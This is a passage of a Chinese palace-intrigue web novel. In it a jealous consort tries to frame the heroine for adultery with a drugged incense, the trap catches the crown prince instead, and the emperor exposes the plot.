江澜因后悔了? 皇帝只是不想管,不在乎。 不意味着他真的什么都不知道! 丽嫔脸色瞬间惨白。 给西配殿的炭火炉子里加料,与苛待江澜因的性质全完不同。若果真被皇帝查出来,就不只是褫夺宫主位这么简单。 只怕,要她的命! “皇上,皇后娘娘……”丽嫔哆哆嗦嗦,语无伦次。 江澜因开口:“皇上,是臣妾起得迟了,是臣妾的错,您别怪、别怪皇后娘娘……” 她说着,又咳。 顾辰枭知道她在皇后跟前,不敢安心躺着,干脆揽着她双肩,让她靠在自己怀里。 何皇后眼中几乎要喷出火来,偏生丽嫔还在一旁不住地呱噪求饶。 “住口!” 何皇后冲丽嫔泻火,“丽嫔失礼于君前,拖出去,掌嘴二十。” 打嫔妃的脸,是极大的羞辱。 丽嫔脸色瞬间从苍白到涨红,却终是不敢忤逆何皇后,被拖着出去。 “啪、啪!” 竹板击肉声,和压抑的痛呼声传来。 何皇后胸口剧烈起伏了几下,终于压下了情绪。 “……臣妾明日便解了江嫔的禁足,抬她做瑞福殿的主位。皇上,可满意了?” 说到最后,她的声音因为羞耻,不住地发颤。 堂堂的皇后,被逼成这样。 顾辰枭还要说:“你是皇后,后宫要安宁,要稳。你的心,要公正。” 何皇后面颊微红,死死地咬着后槽牙,“……是。臣妾……多谢陛下教诲。” “既然知道了,皇后退下吧。” 顾辰枭又动作轻缓地扶着江澜因躺下。他发作了丽嫔,斥责了何皇后,自觉已经替江澜因出过了气。 心中愧疚消散。顾辰枭:“你的性子,也太软了些。有人逾矩欺辱你,你该跟朕说。” 屋内没了旁人,江澜因眼中泪水顺着脸颊汩汩流下。 “臣妾不敢,是因为臣妾觉得……臣妾该死。” “你怎会该死?前朝那些老东西,是胡说的。朕都一一驳斥过了。” “不、不是……”江澜因摇头,泪水洒了满脸,小脸湿漉漉的,惹人爱怜。 她苍白的嘴唇颤抖,“臣妾该死,是因为、因为……太子殿下他……皇上,臣妾不知道会是这样!臣妾不知道啊!” 终于提起了太子。 室内静悄悄的,针落可闻。 好半晌,顾辰枭:“你后悔了?” 若早知道太子还活着,她是不是根本不会入宫,不会选择做自己的妃嫔? 顾辰枭声音很淡,手指蜷着。 江澜因只是流泪,“回不去了。” 顾辰枭心口似被人狠狠一抽。 她说回不去了,语气那样痛楚。不就是后悔? 怒意涌上来,皇帝刚要开口。 江澜因:“见过皇上,臣妾才知……臣妾想象中的男子,这世间真有。也才知道,臣妾从前和太子,不过是玩笑。不一样的,也再回不去了。” 和太子是玩笑? 和自己才是倾心相与。 果然…… 顾辰枭修长有力的手指展开,擦去江澜因眼角泪水。 自太子醒来,一直若有似无,梗在心口的思虑被风一吹,拨云见日。 这一刻,顾辰枭心中,只余下对江澜因的心疼。 男人伸出大手,捧着江澜因小脸,指尖轻轻摩挲她的鬓发。顾辰枭不是多言的人,只一句: “好好养身子。等你好了,朕补偿你。” 让她做一宫主位,还不够。因因,值得更好的。 皇帝走后。 西配殿的下人进来,齐齐跪在地上。“恭喜主儿升瑞福殿主位!” 一张张脸,与有荣焉,喜意都写在脸上。 雪色眼眶都红了。她的小姐自入宫以来,就在吃苦,今日终于熬出来了。 春枝:“小姐,可要开宫门?” “先不必。”江澜因摇头,“皇上让皇后解我的禁足,最快也要在明日。咱们先不动作,且收拾东西,等着。” 明日旨意一下,她就要去正殿。 轮到丽嫔住这偏殿了。 屋内喜气洋洋。院中,丽嫔挨了掌掴,颜面红肿,唇角渗血。 皇后留在她身边的宫女秋月还要说:“皇后娘娘是为了拦着皇上,不叫皇上罚您。不然,皇上罚得更狠。” 丽嫔只是哭,说不出来话,被下人扶着回正殿去了。 稍晚些时候。 瑞福殿偏殿院中。 雪色端着空了的药碗出来,正撞见一道人影在假山后鬼鬼祟祟。 她胆子大,直接过去拦人:“谁?要干什么?” 那人受惊,身子窜进假山洞里,三绕两绕,雪色追丢了。 她回来,才发现地上放着一只食盒,还腾腾地冒着热气。 东宫。 瑞福殿侍卫庞云:“殿下,今日的饮食,小的已给江嫔娘娘送过去了。不过,小的听说,明日娘娘就要解了禁足放出来了。想必内务府也不敢再为难,您也不用担忧娘娘吃食。” 顾言泽一愣。 “要放出来?” 这才几日?这么快? 庞云一愣,下意识打量太子脸色,“殿下不高兴吗?” 被人窥探心思的不悦一闪而过。 顾言泽:“岂会?孤是为她高兴……” “是。”见没自己什么事儿,庞云:“小人先退下……” “等等!” 顾言泽声音拔高,自己都未察觉。 不过是瞬间,他心里已打定了主意。再看向庞云,眼中全是恳切,“你能不能帮帮孤,让孤……见因因一面?” 父皇冷待江澜因,顾言泽心疼,只觉一日都不能忍,怕江澜因真的出事。 可…… 皇帝放江澜因出来,算什么? 江澜因只能让他顾言泽来拯救。 有些话,是时候,跟因因说清楚了。 是夜。 恰好是庞云值夜。 他借口冷,一杯一杯地和同僚一起喝着热茶。没一会儿,同僚便去出恭。 剩下庞云一个,四窥无人,打开了瑞福殿偏院角门。 一个侍卫低着头,快步进入。 “殿下,千万快些儿……” 那侍卫一抬头,露出顾言泽的脸,“放心,孤心中有数,不会连累你。” 他深吸一口气,推开偏殿的门。 “因因,是孤。孤来看你了……” 第65章 因因,你本该禁足 第六十五章 因因,你本该禁足 江澜因房中没有掌灯,唯一的光源是窗外高悬的明月。 皎洁的月光洒落在床帏上。 随着顾言泽进到室内,卷起一阵微风,青纱飘动。 隐约可见榻上一道身影斜倚在枕上,纤细的手臂撑着侧脸。 月光勾勒出江澜因完美的身影,妙曼的曲线,夺人心魄的妩媚。 顾言泽只说了一句,便觉口中发干。 他与江澜因自幼结识。记忆中,她沉默,寡言,面上总带着有点讨好的温顺的笑。穿衣裳也偏喜沉稳的颜色,身上装饰很少。 从前顾言泽只觉得,她性子沉闷,端庄大气……却有些乏味,不够有趣。 因订了婚,是自己未来的妻,反而少了几分期待。 不如文师师,虽身处逆境,身上却有勃勃的生命力。 这样的印象,自从水下那一瞥,已完全改观。 顾言泽惊觉,江澜因对自己的爱,也那样灼热,激烈,死生不渝。 可她,却是父皇的嫔妃了。 两人同在宫中,想要见一面,却那样的难…… 顾言泽深吸一口气,“因因,你、你还好吗?” 堂堂一国储君,在江澜因面前,紧张,无措。 床帏里的人影不语,不动,也不知是睡着还是醒着。随风舞动的青纱,平添她身上的神秘。 顾言泽往前一步,想要伸手,又怕唐突。 手在半空中攥了攥,终是垂下。 “因因,是我……你的言泽哥哥。我……” 窗外,传来小石子叩窗的声音。是庞云在催促。 提醒顾言泽时间已经不多。 不能再耽误下去,顾言泽再次伸手,掀开纱帘。 江澜因水洗过一般的眸子,仰望着顾言泽。 顾言泽心口悸动,张了张嘴,却哽住了。 他和江澜因,青梅竹马,本已订亲,要厮守一生。却平白经历了这个年纪本不应该经历的生死,中间隔着皇权礼法,这世间最深的沟壑,难以跨越一步。 “因因,你……”看清江澜因的脸,顾言泽原先准备要说的话,全忘了。他瞪大眼睛,满脸心痛。 “你哭了?” 月色下,女孩脸庞闪烁着微光,是泪痕。 顾言泽心疼坏了,“怎么一个人哭?可是身子不适?想家?还是……”想孤? 听明白了太子的未尽之意,江澜因险些忍不住笑出来。 想他? 想他死,还差不多。 江澜因:“言泽哥哥?” 她低叫出声,哭得愈发厉害,“我、我不是在做梦吧?” “不是梦。是孤!真的是孤!你看我,我有影子啊!” 太子幼稚、愚蠢的一面,影响了江澜因的心绪。 她前世,就因为这么一个男人的自私懦弱,被毁了一生。 做了鬼,还要看着他挽着文师师的手,牵着他们那几个生在外头的孩子,一步步走上九五之尊的位置上去。 帝后恩爱,垂范天下。 恶心! 现在近距离对上这张脸,江澜因真恨不得…… 杀了他。 胸口剧烈地起伏几次,江澜因艰难地压下杀意。 ……还不行,她还要踩着他登高,把他削骨吸髓,利用到最后一刻。 江澜因声音颤抖、哽咽,“事到如今,言泽哥哥,你还来做什么呢?我、我这辈子,已经这样了……” 女孩的声音充满了绝望,令人心碎。 “不是的,因因,你不要这么想。”顾言泽半蹲下身子,伸手就要去抓江澜因的手。 江澜因实在恶心,躲开了。 “言泽哥哥,我已是皇上的妃嫔,你、你不可无礼!” 她越是这样躲闪,顾言泽心中就越是波涛汹涌。 心疼,懊悔,渴求……甚至,些许对父皇的怨恨不满,激烈的情绪裹挟心智,只叫太子觉得好似身处风口浪尖之上,被江澜因的一颦一笑,牵动着心思。 太子:“因因,孤还是那句话,你是孤的,谁也夺不走。” “现在说这些,还有什么用?”幽怨的哭声,丝丝缕缕地,钻进顾言泽耳蜗,入心。 顾言泽愈发心碎,他下意识开口想要安慰。 窗外,庞云的声音已经十分急迫,“殿下,小的那同僚回来了,您快些……” 万一被发现,可就死定了。 顾言泽一个激灵,艰难地从汹涌的情绪中拔出。他急迫道: “因因,你听孤说。父皇的后宫,盘根错节,十分复杂,不是你一个小姑娘能应对得了的。你不要解除禁足。父皇放你出去,你会成为后宫所有人的活靶子,境遇只会比现在艰难十倍、百倍!” “因因,你本就该禁足,这是对你的保护。” 太子语速极快,连珠炮一般说完,一双眼睛盯着江澜因,急切地等她的答复。 江澜因一愣,没有掩饰疑惑的神情,都显露在脸上。 “依言泽哥哥的意思,因因该继续禁足?禁足到什么时候,才算完?” 顾言泽毫不犹豫:“因因,你等等孤,等到孤和父皇说好。父皇对你不是真心喜爱,纳你,不过是为了怀念孤……他会同意,把你给我。” 太子在心里,想过千百遍,早就把江澜因安排得明明白白。 江澜因实在忍不住好笑,“皇上一日不答应,那不成,我就要禁足一日?” 那跟坐牢有什么区别? 父子两个打擂台。 唯一吃苦受罪的人,是江澜因。 她笑了,“言泽哥哥,你真是……好谋算啊。” 顾言泽没听出江澜因话语中的阴阳怪气,他急急劝道:“孤知道,禁足的日子苦,你吃不饱穿不暖,遭了点小罪。可因因,这是为了咱们的未来。孤也苦,心里苦,可孤为了你,都忍着……” 江澜因不转眸子地看着眼前这个男人。 她死死掐着掌心,才没笑出声来。 顾辰枭盛宠何贵妃,把对早逝爱妃所有的爱都投注到了顾言泽身上。他未出满月,就受封太子。 皇帝实在把他保护得太好。 让他这样天真,愚蠢。还以为世上之人,都蠢得和自己一模一样。 这样的人,怎配做储君?怎配为帝? 江澜因掩去眼底冷意,“太子殿下的意思,因因知道了,我会好好儿想一想……” “别犹豫,因因。明日,母后就要放你出来,等到时候,就来不及了。”顾言泽道:“你放心,你只需要安心禁足,日常里的供应,孤会叫人送来。孤会护你周全。” 他张着嘴,还想再说。 窗外,庞云的声音紧张得绷紧,“殿下,有人来了!快走!快走!” 第66章 江嫔和侍卫有私情? 第六十六章 江嫔和侍卫有私情? “因因,你不知这深宫艰险,千万、千万勿要糊涂……” 顾言泽人走了,声音在在江澜因耳边徘徊。 她伸手,挥了挥,拂去恼人的余音。绝美的小脸上,冰封一般,全是冷意。 她从进宫以来,一天好日子都没过过。不想再忍了。 谁也不能再把她禁足,她明天一定要走出去。 顾辰枭金口玉言,江澜因不信有谁还敢难为她,不放她出去! 可第二日,并没有旨意传来瑞福殿。 江澜因名义上尚未解禁足,不能派丫鬟出去。丽嫔的正殿也静悄悄的,一丝声息也无,什么消息都打探不出来。 顾言泽依旧叫庞云给江澜因送吃食。 庞云提着食盒刚进瑞福殿,就被雪色逮个正着。 雪色拧眉:“竟是你弄得鬼?” 庞云慌乱不已,差点又把食盒砸在地上。 雪色连忙上去扶住,“谨慎些!”她往正殿方向瞥了一眼,“勿要惊动旁人,连累娘娘!” “是、是是……小的这就走,这就走。” “站住!”雪色伸出手臂拦住,“江嫔娘娘叫你进去,说几句话。” 二人足够小心,可西配殿统共就只有那么大,多少还是有些声音传出去。 庞云进到室内,雪色小心关门。 院中假山石后,绣荷转了出来。她看向紧闭的那扇门,面上闪过一丝犹豫。 她身上,还穿着江澜因赏赐的上好棉袄呢! 如今西配殿里又生起了炭火,江嫔娘娘却并未收回。她当真待下人极好…… 再说,只是召见一个小侍卫说话,众目睽睽之下,本不算什么…… 犹疑间,绣荷感受到另一束目光。 她猛地回头,见偏殿西角阴影下,统领太监小温子唇角噙着一丝冷笑,对着她扬了扬下颌,转身朝正殿走去。 瑞福殿正殿。 丽嫔面颊还肿着,芳月正为她冰敷,劝解:“娘娘勿要太忧心了。皇上说是要解江嫔的禁足,今日不还没动静?此事,或许还有什么转机。” “还能如何?皇上那样纵着她……”丽嫔一想起昨日情景,就委屈得想掉泪。 江澜因来之前,她因年轻俏丽,明明是最得宠的。 从小宫女爬到皇帝的丽嫔,她整整用了三年。 可江澜因呢?一入宫就是嫔,还夺了她的一宫主位。 皇后娘娘也不帮她…… 越想,心里越是攒着一股子火,蹭蹭地往上冒。 恰在这时,小温子躬身进来:“丽嫔娘娘,奴才有事要禀……” 他讲完,退到一边,窥着丽嫔脸色。 丽嫔一皱眉,就牵动脸颊伤口,痛得心烦。 “有什么用?她一个嫔位的娘娘,和侍卫说几句话,难不成还能因此治她的罪?” 小温子赔笑,“奴才只是想着,这江嫔娘娘初入宫闱,江嫔谁也不认识,寻一个侍卫说什么话?再说,光明正大的话,又不是见不得人,用得着叫到屋里说去?还关门。不知道避嫌吗?” 丽嫔眼眸微闪,“你是说,他们两个……有些苟且?” “奴才不敢说。奴才往后,定替娘娘多留意些。” 小温子抢在绣荷前面来禀报,贪图丽嫔的赏银。 丽嫔却不耐,“本宫被那贱婢害得丢了瑞福殿,你却叫本宫等……” 她真恨不得立时就抓到江澜因一个错处,求皇上收回成命才好。 可秽乱宫闱这种事,不是能随便乱说的。 万一江嫔和那侍卫清清白白,什么都没有,反而是丽嫔会堕入圈套。昨日,那么小的疏忽,却连皇后娘娘都保不住她,她还是挨了罚。往后,一定要慎重,再慎重。 “你下去吧。谨慎为重,不可给本宫惹事。” “是……” 小温子还未退下去,一道声音自门口处响起。 “娘娘,小温子他无能,捕风捉影的消息,也该来混淆娘娘试听。他简直该打。” 绣荷来了。 她满脸都是压抑不住的得意,一副急着表功的模样。“娘娘,奴婢在江嫔屋内近身伺候,把那侍卫和江嫔的事,打听得一清二楚,才来禀报娘娘。娘娘,您才是真正有福之人,那江嫔,就如秋后的蚂蚱,蹦跶不了几天了!” 丽嫔直起身子,“你近前来禀!” 听完绣荷的话,她脸色数变。“这江嫔,竟当真如此大胆?她就不怕皇上知道了,要她的命?” 绣荷:“娘娘,您没瞧见江嫔那副总是哭哭啼啼的模样儿?她满心满眼里想的,就是那点子事。这样的女人,为了情郎,什么事儿做不出来?” 兹事体大,丽嫔还是有些犹豫。 绣荷转了转眼睛,又道:“若是此事禀到皇后娘娘跟前……” “不必。” 丽嫔面色一下暗下来。 她给皇后当了这么多年狗,皇后昨天罚她当众掌嘴。 她的颜面,都被打落了。 秽乱宫闱是大罪,江澜因若出事,皇后也逃不掉皇上一顿斥责。 想一想那画面,丽嫔面上扬起笑来。 她看向绣荷:“可能打探到,什么时候那人再来?” “都包在奴婢身上。那人再来,奴婢定立刻就叫娘娘知道。只是……”她又犹豫,“怕就怕,两人只是说话拉扯,不真做成什么。就算是皇上来了,怕也不过是训斥几句,咱们岂不白忙一场?” 丽嫔再不犹豫,她叫芳月从衣橱深处取出一只纸包,里面是一根线香。 “等他再来,你想法子,点燃这香。一时三刻,他们忍不住的。” 到时候,她再请皇上来,亲自捉奸。 事情成了,江澜因死,瑞福殿还是她丽嫔的。 绣荷接过香,倒头便拜,“事情若成,奴婢求娘娘允奴婢出宫。” 丽嫔面上笑容温柔至极,美好得不像是真的,“自然,本宫一早答应你的,绝不会食言。” 绣荷和小温子退下后。 芳月有些担忧:“娘娘,奴婢怎么觉得这事……太匪夷所思,太巧了。会不会是江嫔,算计咱们?” “不会。就算江嫔有这个心,绣荷聪明,她一家老小的性命都在本宫手里捏着,她不敢骗本宫。” 尤其此事,是小温子、绣荷一前一后来禀的。 说的人多,重复的次数也多,丽嫔下意识里已是信了个十成十。 芳月:“事后,娘娘真要放绣荷出去?” 丽嫔笑了,露出雪白的牙,“本宫是可以放了她。只怕,皇上不肯。” 此事,是天大的丑闻。 只怕皇上来了,震怒之下,会把西配殿所有人都灭口。 绣荷自然也跑不出去。她用香陷害江嫔的事,永远都不会有人知道。 让丽嫔没想到的是,江澜因的那个男人,竟来得这样快。 连一晚上都等不了。 入夜,绣荷悄悄地过来,“娘娘,事情成了。您快请皇上去看看吧。” 第67章 捉奸捉到大惊喜 第六十七章 捉奸捉到大惊喜 竟这么快,这么顺? 丽嫔犹在梦中,揉了揉眼睛,“你当真按本宫说的,把两人关在房中,点燃了香?” “是,娘娘。” 绣荷恭顺地低着颈子,“奴婢的病母和弟妹,这些年来多亏娘娘照应,奴婢断断不敢骗您的。” 沉吟片刻,丽嫔做了决断,“芳月,你去请皇上来。” 她顿了顿,“等等!本宫亲自去。” 片刻后。 顾辰枭见丽嫔率领瑞福殿宫人,跪在宫道边。 昨日刚闹了一场,丽嫔的脸到现在还肿着,覆着厚厚的粉遮掩。 夜幕掩映下,她低垂眼睫,十分恭顺的模样:“皇上……江嫔妹妹她……求皇上快去看看吧。” 走进瑞福殿,皇帝已觉出不对。 往日里散布在院中的下人,如今一个都无。 皇帝拧眉看向丽嫔,等她的解释。 不想,就在此刻。 从偏殿紧闭的门窗中,传出一声女子的低吟。 顾辰枭顷刻间变了脸色。 他听出那声音,是江澜因! 可,怎会…… 顾辰枭急急上前两步,就要推门。 “皇上!” 丽嫔侧身拦住,压低声音,却掩不住兴奋,“臣妾年轻,没见过,实不知如何是好。只能请皇上……皇上且等等,再听会儿,别是误会了江妹妹。” 说话间,屋内又传来阵阵发颤的喘息声。 似痛苦,似欢愉,隐含着渴望。 这声音……屋内人在做什么,很明了了。 顾辰枭就算再处乱不惊,此刻也紧皱眉头,脖颈上青筋突出。他脸色冷白,眸中透出杀意。 丽嫔看了,心中大定。 她颦眉,故作惋惜状道:“……何必非要江妹妹入宫,闹出这种事来。她在府中,原有相好的……” 顾辰枭冷瞥丽嫔一眼,“你很清楚?什么相好?” “……是瑞福殿的小侍卫……本就是走侯府的路子进的宫,没想到竟与江妹妹有私。” 这些,都是绣荷一五一十交代的。 丽嫔说完,又故作愧疚,“皇上,都是臣妾御下不严,没管好这瑞福殿的下人,也没照应好江妹妹。您要罚就罚我吧,千万别气坏了龙体……” 皇帝黑沉的目光转到丽嫔脸上,死死盯着她的眼睛。眼眸极深处,燃烧着冷焰。 是怒气勃发的前兆。 丽嫔一愣。 这怒意……怎么冲着自己? 转念又一想,放了心。 定是被江嫔那小蹄子连累了……可要是能一举除了她,自己就算吃些挂落,罚些月俸,也值…… 念头尚未转完,丽嫔听见室内传来男子声音。 “因因……因因……” 这声音充满了渴求,无法掩饰,可知室内的淫靡。 江嫔这回……死定了。皇帝恐怕连一句都不会多问,就要处死她。嫌脏! “因因……你别走,你、你到孤身边来……” 断断续续的声音不断传来。 陶醉在即将胜利的得意中,丽嫔却猛地一愣。脑子还没反应过来,身子却下意识僵住。 那男人……不是个小侍卫吗?他为何、为何自称是……“孤”? 只有太子、亲王才能…… 可太子、太子不是死了吗? 血色迅速从丽嫔唇上褪尽,丽嫔:“皇、皇上,这、这……” 她话未说完,突听屋内传来江澜因一声高叫: “别过来!殿下再、再上前一步,我宁愿死!” “砰” 一声闷响! 顾辰枭面色骤变,一把搡开丽嫔,踹开房门。 屋内没有点灯,月光透过窗纸,映在江澜因脸上。照亮她苍白的唇,泛着不自然酡红色的脸颊,颤抖的睫毛,还有…… 额上的血迹! 她竟是情急之下,一头撞在墙上,此刻正慢慢委顿在地。 而一旁,斜依在案边的,不是太子顾言泽,还能是谁? “因因!” 太子被眼前这一幕惊呆了,下意识扑过去,要扶江澜因。 却被皇帝一把推开。 顾辰枭打横抱起地上的江澜因,“来人!快来人!传太医!” 下人一叠声答应着去了。 顾辰枭才低头,看向怀里的女孩。 江澜因额上磕出一道伤口,鲜血顺着她面颊,一滴一滴落在皇帝虎口。 滚烫滚烫。 顾辰枭心口好似也被烫了一下,“因因,你怎么这么傻?” 江澜因一双水汽蒙蒙的大眼睛眨了眨,落泪,“皇上,终于来了……”她不顾头上有伤,一只手扯着顾辰枭衣襟,把脸颊贴上去,浑身颤抖。 好似要把整个身子融入顾辰枭体内一般。 受惊的幼兽一般,全心全意地依赖着他。 顾辰枭心口又酸又胀,抱紧江澜因。 一旁,顾言泽恍惚的心神,被冷风吹在面上,清醒了些许。 他愣愣看着眼前这一切。 皇帝,他身边有头有脸的太监、宫女,无不围着江澜因,所有人的注意力,都在她身上。 没人在意自己。 可,他是一国储君啊!就这么,不引人注意。 一股子痒意从肺里窜上来,顾言泽忍不住大声呛咳了起来。 两个小太监过来扶他,一个拍着背心,帮他顺气。 皇帝依旧没看他一眼。 唯有跟在最后进屋的丽嫔。丽嫔看清了太子的脸,瞬间瘫倒在地。 有鬼…… 不、不对。 丽嫔的脑子,在巨大的恐慌之下,艰难地开始运转。 不是鬼,是太子……还活着……皇帝把太子,藏在宫中,对外宣称他已经死了。 丽嫔难得聪明了一回。 她被冷汗浸透的手指扯了扯秋月的裙摆,低声吩咐:“去、快去……去请皇后娘娘……” 今日之事,只怕……只有皇后能救她性命。何皇后还不知道,太子还活着……她也算是,立功。 太医来了。趁着一片混乱,秋月无声退出。 值夜的孙太医掩下眼中惊异,一进房中,下意识要奔太子而去。 皇帝出声打断:“他不打紧,先看江嫔。” 孙太医一愣,只得应是。 片刻后。 “……娘娘是中了些药……所幸不深,用百毒清丸药,用黄酒送服,不过一个时辰,此毒能解。” 顾辰枭颔首,“速去。” 孙太医又看向太子。 他是皇帝心腹,知道太子还活着。 “陛下,太子殿下那般……” 顾辰枭这才看了顾言泽一眼,眼中全无平日里的温度。 “不必诊脉,就照江嫔的例,给他用药。” 孙太医一滞,“可、可……那药丸,太医院现存的,只有一丸……” “给殿下服用,还是……给江嫔娘娘?” 第68章 她还想有几次? 第六十八章 她还想有几次? “皇上……” 江澜因挣扎着从榻上直起身子,“臣妾不要紧,救太子……” 她话未说完,手臂撑不住,身子一软。 倒在顾辰枭怀中。 腾腾的热意,随着江澜因呼吸,扑到顾辰枭心口。江澜因身子软的似水一样,娇弱无力。 一旁,顾言泽意识到什么。 他瞪大眼睛,脸色瞬间苍白! “父皇……”顾言泽鼓起勇气,“儿臣无碍的,求您给江嫔用药!” 外人看着,父慈子孝。 江澜因心中却只想翻白眼。顾言泽不过是不愿看着,皇帝为她解毒罢了。他脆弱的自尊心,根本受不住。 顾辰枭自然也瞬间明白了儿子的意思。 孙太医正左右为难。 皇帝:“就听太子的,拿药先给江嫔。叫太医院加紧再制百毒清。” “……是!” 孙太医不敢多说,连忙服侍江澜因吃了药,一声不敢言语,退了下去。 太医院的自然是好药,黄酒一送入口,江澜因只觉体内一片清凉。 那股子难耐的邪火,瞬间被浇灭。 她长长舒了一口气,身上有了些力气,想从皇帝身上撑起来。 顾辰枭手心握住江澜因肩头,不让她动。“你头上还有伤,不宜移动。躺着,朕不累。” 江澜因娇弱道:“是。” 与皇帝举止亲密,丝毫不因太子在场而有不同。 顾言泽看到眼前这一幕。 虽知江澜因是为保命,强迫自己与皇帝亲近。可心里,还是针扎一样难受。再加上他并未解毒,一呼一吸间,只觉小腹那团火烧得更旺,直冲心口,呕得他几乎吐血。 顾辰枭淡淡看他一眼。 无形的威压释出,太子脊背一紧,不自觉端正了坐姿。 双腿并紧,更难受了。 皇帝逼视下,他还要说:“父皇,儿臣无碍。今日之事……儿臣和江嫔,是被算计了。” 此言一出,所有人的目光,都集中在瘫在门口的丽嫔身上。 丽嫔惊骇欲死! “皇上,皇上!臣妾不知道,臣妾全然不知啊!”她眼珠疯狂乱转,拼命地想为自己开脱的说辞,“臣妾只是、只是看见,侍卫频频来找江嫔,举止亲密。臣妾哪里知道,是、竟是……”太子! 丽嫔爬到皇帝身边,伸手攀着他膝盖,痛哭流涕,“皇上,江嫔她不安分。臣妾只是一片好心……” 皇帝对丽嫔已全没了信任。 他看向江澜因,伸手轻柔地为她拂去额上被汗水沁湿的碎发。 “因因,入宫之后,你见过太子吗?” 只要江澜因否认,顾辰枭不会去查证。 他刚才,亲耳听到,江澜因在中了药,神智动摇的关头,还宁可一头撞死,也不愿与太子亲近。 他自己也中过药。 知道这样的毅力,常人难及,是真正下了必死的决心。 江澜因一个小姑娘,若不是为了真爱皇帝,岂有这样的决绝? 顾辰枭对江澜因语气轻柔,“别怕,朕信你。” 江澜因未及开口。 顾言泽声音传来:“父皇,您别怪因因。是我来见她的,她事先,不知道……” 一口咬定,他和江澜因曾有私会。 更因太子中药尚未解毒,他边说,边难捱地低喘,让这话平白添了几分暧昧。 丽嫔抓住机会,忙道:“皇上,江嫔她入宫前本就是太子的准妃,她、她这是……心思不单纯,要秽乱宫闱啊!” 她声音尖锐,刺得人耳膜生疼。 顾辰枭面色微沉。轻拂在江澜因脸侧的手一顿,指尖缠住她头发,微微有些疼。 “因因,是怎么回事?” 江澜因身子一颤,垂下睫羽,却掩不住晶芒。 “丽嫔姐姐说的是,太子昨夜来过,只那一回。” 顾辰枭眉心瞬间紧皱。 江澜因入宫才几日?她还想有几回? 还不等皇帝开口,江澜因自道:“太子殿下来,是……劝我自请禁足。” “因因!” 顾言泽猛地一愣,他没想到,他掏心窝子和江澜因说的话,她一张嘴,竟当着皇帝的面,说了出来。 顾辰枭皱眉,他不明白,江澜因禁不禁足,和太子有什么关系? 江澜因禁足吃苦,太子不是心疼吗? 皇帝:“为何?” 他是问江澜因。 不敢看顾言泽。怕自己忍不住,动手。 江澜因却似不明白皇帝的意思,苍白的小脸上也浮起疑惑,“臣妾也不懂。今日正好皇上也在,太子殿下不如说个清楚明白。” 皇帝黑沉的目光压过来。 顾言泽肩颈瞬间绷紧,仿佛有一只力逾千钧的手,按着他的头顶,在一点一点往下压。 这一刻,他清楚地意识到。 顾辰枭不仅是他的父亲,更是皇帝,是这世间最尊贵,最有权势之人。 不容欺瞒。 顾言泽深吸一口气,“儿臣只是觉得……江嫔请安迟了,合该禁足。若早放出去,恐怕旁人妒忌,反倒生事。儿臣,是为江嫔好,也是为父皇后宫安宁……” “呵……” 顾辰枭一声冷笑。 截断顾言泽的话。 “太子的意思,朕在自己的后宫里,连自己的人都护不住,会叫她玉减香消?” 听出皇帝声音中隐隐的怒意,顾言泽身子一僵。若是平时,他早该退却,请罪。 可体内那团火,越烧越旺,越烧越躁动。 顾言泽冲口而出:“父皇后宫有这么多人,难免有人心思不纯。就如今日,是谁叫儿臣来见江嫔的,又是谁给儿臣和江嫔都用了……用了那种药?这后宫,如果真如表面上一般风平浪静,岂有今日之事?” 他脸上浮起两片不正常的红晕,边咳边道:“儿臣与父皇不一样,儿臣若能满愿,这一生,只待因因一个人好。” 顾辰枭感觉到怀中女孩身子不安地一颤,是她别过脸去,脸上极轻地闪过一丝嘲讽。 这样的神情,第一次在江澜因脸上出现。 看在皇帝眼中,只觉新奇,又觉欣慰。 太子的胡言乱语,因因听不进去,也不信。 是好事。 “住口!” 皇帝直视顾言泽,语气沉沉:“你若果真像你说的那样爱重因因,就更不应该私会她。你自幼在宫中长成,难道不知此举会给她带来多大误会,多大危险?” “你知道得清清楚楚还这样做,不是愚蠢,就是自私。” “你不是担忧因因,你是在和朕争抢。为了和朕争,不惜坏了因因的清誉,甚至她的性命。” 一番话,说得顾言泽脸色惨白,“父皇,儿臣没有……” “滚回去。”顾辰枭语气更冷,“滚回你的东宫去。” 他竖起一根手指,在调整眼前晃了晃,“顾言泽,这是最后一次。” 皇帝口中吐出太子的名字,那样冰冷,顾言泽猛地怔住。 顾辰枭:“再有一次,让朕知道你动了不该动的心思,朕定不饶你。你明不明白?” 太子脸色惨白,被带出去时,身子摇摇欲坠。 皇帝没多看他一眼。 他目光转向瘫在地上的丽嫔:“该你了。” 第69章 全都要死 第六十九章 全都要死 丽嫔圆圆的脸上一片惨白之色,嘴巴长得大大的。 一向伶牙俐齿,爱说爱笑的她,如今一句话都说不出来。眼中汹涌地流下泪来。“皇上,臣妾冤枉……” 顾辰枭看江澜因一眼,“身子可还撑得住?朕想让你亲眼看着。” 江澜因小脸白了白,身子畏缩,“皇上,臣妾有些怕……” “因因,”顾辰枭正色道:“你的性子太单纯绵软。现在入了宫,要学着稳重起来。别怕,有朕在。” “是。皇上,臣妾的身子无碍……” 江澜因不情不愿的模样,看得丽嫔一颗心碎成了一地。 皇帝这是把她的生死大事,当做给江嫔上的一堂课!她的性命,不过是用来示范的范例。 卑微得如一粒尘沙…… 这些年来一力争宠,她为的是什么?不就是想在这偌大后宫,在皇帝身边,有个一席之地吗? 可现在、现在…… 心中涌起巨大的悲凉,混合着恐惧,丽嫔浑身颤抖,泣不成声。 皇帝只简简单单的一个字:“说。” 丽嫔心死了,“……是江嫔御下不严,她宫中的宫女,误导了臣妾。让臣妾以为江嫔不安分,臣妾才想、想着……为皇上除害……” 西配殿的宫女、太监都被叫来,密密匝匝跪了一地。 皇帝:“哪个宫女?指出来。” “是她。” 绣荷被皇帝身边的太监提着领子揪出来,她又攀扯出了小温子。 不过几句话,两人就把自己知道的,吐了个干净。 只看到穿侍卫衣裳的男子进江嫔屋中一次,不久就出来了。与江澜因、太子所说,都对得上。 江嫔娘娘与那男子所谓的私情,是丽嫔编造的。丽嫔还拿绣荷家人性命威胁,逼她屡次下药。包括致江嫔睡过头,请安去迟了那一次…… 全说了。 这里面有皇帝知道的,也有些他不曾听说过。越听,面色越是黑沉。 看向丽嫔的目光,如在看什么脏东西。 江澜因瞪大眼睛,惊诧道:“丽嫔姐姐,你我才相识几日,你为何、为何这般恨我?” 她重又落下泪来,“为何非要置我于死地?” 还能是为何? 丽嫔是何皇后的人呗。 可到了这一步,丽嫔再蠢,也不敢攀扯到皇后身上。 她也有家人,捏在皇后手里。 